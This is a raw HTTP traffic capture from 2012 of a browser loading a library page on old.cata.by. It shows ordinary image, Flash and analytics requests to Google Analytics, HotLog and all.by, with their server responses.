Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 20:09:04 GMT
Etag: &quot;115046be-46-4a32de09bb800&quot;
Accept-Ranges: bytes
Content-Length: 70
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/price/winzip.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 20:09:05 GMT
Etag: &quot;115052e0-8e-4a32de0aafa40&quot;
Accept-Ranges: bytes
Content-Length: 142
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /urchin.js HTTP/1.1

Host: www.google-analytics.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
HTTP/1.1 200 OK

Content-Type: text/javascript
Content-Length: 6847
Content-Encoding: gzip
Last-Modified: Mon, 22 Oct 2012 15:51:19 GMT
X-Content-Type-Options: nosniff, nosniff
Date: Thu, 01 Nov 2012 01:08:56 GMT
Expires: Thu, 15 Nov 2012 01:08:56 GMT
Vary: Accept-Encoding
Cache-Control: max-age=1209600, public
Age: 480916
Server: GFE/2.0
GET /cgi-bin/hotlog/count?0.5042279115188666&s=308909&im=131&r=&pg=http%3A//old.cata.by/library/%3Fid%3D2&c=Y&j=Y&wh=1176x885&px=24&js=1.3& HTTP/1.1

Host: hit13.hotlog.ru
GET /cgi-bin/hotlog/count?0.5042279115188666&amp;s=308909&amp;im=131&amp;r=&amp;pg=http%3A//old.cata.by/library/%3Fid%3D2&amp;c=Y&amp;j=Y&amp;wh=1176x885&amp;px=24&amp;js=1.3&amp; HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
HTTP/1.1 302 Found

Content-Type: text/plain
Server: HotLog/1.2
Date: Tue, 06 Nov 2012 14:44:12 GMT
P3P: policyref=&quot;/p3p.xml&quot;, CP=&quot;NON ADM DEV TAI PSA PSD IVA OUR IND UNI COM NAV INT&quot;
Set-Cookie: hotcli=c0e5e71de4411de586e155499e3d434; path=/; domain=.hotlog.ru; expires=Sat, 20-Apr-2030 13:21:04 GMT
Location: /cgi-bin/hotlog/count?0.5042279115188666&amp;s=308909&amp;im=131&amp;r=&amp;pg=http%3A//old.cata.by/library/%3Fid%3D2&amp;c=Y&amp;j=Y&amp;wh=1176x885&amp;px=24&amp;js=1.3&amp;&amp;hl_ignore=Y
Content-Length: 0
Connection: close
GET /v_images/about/flag.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:54 GMT
Etag: &quot;e3c2b-2719-4a32dadf1bf80&quot;
Accept-Ranges: bytes
Content-Length: 10009
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/but_vstr.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:42 GMT
Etag: &quot;300acf7f-1702-4a32dad3aa480&quot;
Accept-Ranges: bytes
Content-Length: 5890
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /cgi-bin/rating.cgi?id=10037623 HTTP/1.1

Host: www.all.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
HTTP/1.1 302 Found

Content-Type: text/html
Server: nginx/0.7.64
Date: Tue, 06 Nov 2012 14:44:12 GMT
Transfer-Encoding: chunked
Connection: close
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA&quot;
Set-Cookie: 11__all__12=3589365341113599357735873789; expires=Sun, 05-Nov-2017 14:44:12 GMT; path=/; domain=all.by autherize=1352213052; expires=Tue, 06-Nov-2012 14:49:12 GMT; path=/; domain=all.by
Location: /cgi-bin/rating.cgi?id=10037623&amp;code=1352213052
GET /v_images/but_vit.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:41 GMT
Etag: &quot;300acf7e-14ff-4a32dad2b6240&quot;
Accept-Ranges: bytes
Content-Length: 5375
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/but_vstr_gaz.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:42 GMT
Etag: &quot;300acf80-230a-4a32dad3aa480&quot;
Accept-Ranges: bytes
Content-Length: 8970
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/bg_left.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:40 GMT
Etag: &quot;300acf72-a7-4a32dad1c2000&quot;
Accept-Ranges: bytes
Content-Length: 167
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/bg_up_line.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:40 GMT
Etag: &quot;300acf76-37-4a32dad1c2000&quot;
Accept-Ranges: bytes
Content-Length: 55
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/bg_up_line2.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:40 GMT
Etag: &quot;300acf77-5a-4a32dad1c2000&quot;
Accept-Ranges: bytes
Content-Length: 90
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/but_micro.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:41 GMT
Etag: &quot;300acf7b-1bca-4a32dad2b6240&quot;
Accept-Ranges: bytes
Content-Length: 7114
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/but_duh.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:41 GMT
Etag: &quot;300acf79-28d7-4a32dad2b6240&quot;
Accept-Ranges: bytes
Content-Length: 10455
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/bg_up_line3.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:41 GMT
Etag: &quot;300acf78-2e-4a32dad2b6240&quot;
Accept-Ranges: bytes
Content-Length: 46
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/but_vent.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:14 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:41 GMT
Etag: &quot;300acf7d-28ce-4a32dad2b6240&quot;
Accept-Ranges: bytes
Content-Length: 10446
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:14 GMT
Connection: close
GET /v_images/but_main.gif HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 14:44:15 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:41 GMT
Etag: &quot;300acf7a-2a1-4a32dad2b6240&quot;
Accept-Ranges: bytes
Content-Length: 673
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:15 GMT
Connection: close
GET /__utm.gif?utmwv=1.4&utmn=1631812611&utmcs=windows-1251&utmsr=1176x885&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmcn=1&utmdt=%D0%91%D1%8B%D1%82%D0%BE%D0%B2%D0%B0%D1%8F%20%D1%82%D0%B5%D1%85%D0%BD%D0%B8%D0%BA%D0%B0%20CATA%20%3A%3A%20%D0%91%D0%B8%D0%B1%D0%BB%D0%B8%D0%BE%D1%82%D0%B5%D0%BA%D0%B0%20%3A%3A%20%D0%9E%D1%84%D0%B8%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9%20%D0%B4%D0%B8%D0%BB%D0%B5%D1%80%20%D0%B2%20%D0%A0%D0%B5%D1%81%D0%BF%D1%83%D0%B1%D0%BB%D0%B8%D0%BA%D0%B5%20%D0%91%D0%B5%D0%BB%D0%B0%D1%80%D1%83%D1%81%D1%8C%20%3A%3A%20%D0%9C%D0%B8%D0%BD%D1%81%D0%BA%2C%20%D0%91%D1%80%D0%B5%D1%81%D1%82%20%3A%3A%20%D0%B2%D1%8B%D1%82%D1%8F%D0%B6%D0%BA%D0%B8%2C%20%D0%B2%D0%B0%D1%80%D0%BE%D1%87%D0%BD%D1%8B%D0%B5%20%D0%BF%D0%B0%D0%BD%D0%B5%D0%BB%D0%B8%2C%20%D0%B4%D1%83%D1%85%D0%BE%D0%B2%D1%8B%D0%B5%20%D1%88%D0%BA%D0%B0%D1%84%D1%8B&utmhn=old.cata.by&utmhid=2020209707&utmr=-&utmp=/library/?id=2&utmac=UA-879039-1&utmcc=__utma%3D8060652.1631812611.1352213053.1352213053.1352213053.1%3B%2B__utmz%3D8060652.1352213053.1.1.utmccn%3D(direct)%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)%3B%2B HTTP/1.1

Host: www.google-analytics.com
GET /__utm.gif?utmwv=1.4&amp;utmn=1631812611&amp;utmcs=windows-1251&amp;utmsr=1176x885&amp;utmsc=24-bit&amp;utmul=en-us&amp;utmje=1&amp;utmfl=10.0%20r45&amp;utmcn=1&amp;utmdt=%D0%91%D1%8B%D1%82%D0%BE%D0%B2%D0%B0%D1%8F%20%D1%82%D0%B5%D1%85%D0%BD%D0%B8%D0%BA%D0%B0%20CATA%20%3A%3A%20%D0%91%D0%B8%D0%B1%D0%BB%D0%B8%D0%BE%D1%82%D0%B5%D0%BA%D0%B0%20%3A%3A%20%D0%9E%D1%84%D0%B8%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9%20%D0%B4%D0%B8%D0%BB%D0%B5%D1%80%20%D0%B2%20%D0%A0%D0%B5%D1%81%D0%BF%D1%83%D0%B1%D0%BB%D0%B8%D0%BA%D0%B5%20%D0%91%D0%B5%D0%BB%D0%B0%D1%80%D1%83%D1%81%D1%8C%20%3A%3A%20%D0%9C%D0%B8%D0%BD%D1%81%D0%BA%2C%20%D0%91%D1%80%D0%B5%D1%81%D1%82%20%3A%3A%20%D0%B2%D1%8B%D1%82%D1%8F%D0%B6%D0%BA%D0%B8%2C%20%D0%B2%D0%B0%D1%80%D0%BE%D1%87%D0%BD%D1%8B%D0%B5%20%D0%BF%D0%B0%D0%BD%D0%B5%D0%BB%D0%B8%2C%20%D0%B4%D1%83%D1%85%D0%BE%D0%B2%D1%8B%D0%B5%20%D1%88%D0%BA%D0%B0%D1%84%D1%8B&amp;utmhn=old.cata.by&amp;utmhid=2020209707&amp;utmr=-&amp;utmp=/library/?id=2&amp;utmac=UA-879039-1&amp;utmcc=__utma%3D8060652.1631812611.1352213053.1352213053.1352213053.1%3B%2B__utmz%3D8060652.1352213053.1.1.utmccn%3D(direct)%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)%3B%2B HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Thu, 01 Nov 2012 01:21:37 GMT
Content-Length: 35
X-Content-Type-Options: nosniff
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 480156
Server: GFE/2.0
GET /cgi-bin/hotlog/count?0.5042279115188666&s=308909&im=131&r=&pg=http%3A//old.cata.by/library/%3Fid%3D2&c=Y&j=Y&wh=1176x885&px=24&js=1.3&&hl_ignore=Y HTTP/1.1

Host: hit13.hotlog.ru
GET /cgi-bin/hotlog/count?0.5042279115188666&amp;s=308909&amp;im=131&amp;r=&amp;pg=http%3A//old.cata.by/library/%3Fid%3D2&amp;c=Y&amp;j=Y&amp;wh=1176x885&amp;px=24&amp;js=1.3&amp;&amp;hl_ignore=Y HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: hotcli=c0e5e71de4411de586e155499e3d434
HTTP/1.1 200 OK

Content-Type: image/gif
Server: HotLog/1.2
Date: Tue, 06 Nov 2012 14:44:13 GMT
Content-Length: 490
GET /cgi-bin/rating.cgi?id=10037623&code=1352213052 HTTP/1.1

Host: www.all.by
GET /cgi-bin/rating.cgi?id=10037623&amp;code=1352213052 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: 11__all__12=3589365341113599357735873789; autherize=1352213052
HTTP/1.1 302 Found

Content-Type: text/html
Server: nginx/0.7.64
Date: Tue, 06 Nov 2012 14:44:13 GMT
Transfer-Encoding: chunked
Connection: close
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=&quot;Set-Cookie&quot;, proxy-revalidate
Expires: Tue, 06 Nov 2012 14:44:18 GMT
Location: http://s.all.by/pics/allc.gif
GET /v_images/intro.swf HTTP/1.1

Host: old.cata.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: PHPSESSID=a571c499f9860fa17ed73ea79f89dfe1; hotlog=1
HTTP/1.1 200 OK

Content-Type: application/x-shockwave-flash
Date: Tue, 06 Nov 2012 14:44:15 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_jk/1.2.26
Last-Modified: Fri, 13 May 2011 19:54:47 GMT
Etag: &quot;300acf86-595b-4a32dad86efc0&quot;
Accept-Ranges: bytes
Content-Length: 22875
Cache-Control: max-age=2592000
Expires: Thu, 06 Dec 2012 14:44:15 GMT
Connection: close
GET /pics/allc.gif HTTP/1.1

Host: s.all.by

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://old.cata.by/library/?id=2
Cookie: 11__all__12=3589365341113599357735873789; autherize=1352213052
HTTP/1.1 200 OK

Content-Type: image/gif
Server: nginx/0.7.64
Date: Tue, 06 Nov 2012 14:44:13 GMT
Content-Length: 776
Last-Modified: Fri, 26 Jun 2009 07:44:00 GMT
Connection: keep-alive
Expires: Wed, 21 Nov 2012 14:44:13 GMT
Cache-Control: max-age=1296000, public
Accept-Ranges: bytes
GET /get/flashplayer/update/current/xml/version_en_win_pl.xml HTTP/1.1

Host: fpdownload2.macromedia.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/xml
Server: Apache
Last-Modified: Wed, 03 Oct 2012 19:48:11 GMT
Etag: &quot;289dff-26c-4cb2ceb2654c0&quot;
Accept-Ranges: bytes
Content-Length: 620
Date: Tue, 06 Nov 2012 14:44:13 GMT
Connection: keep-alive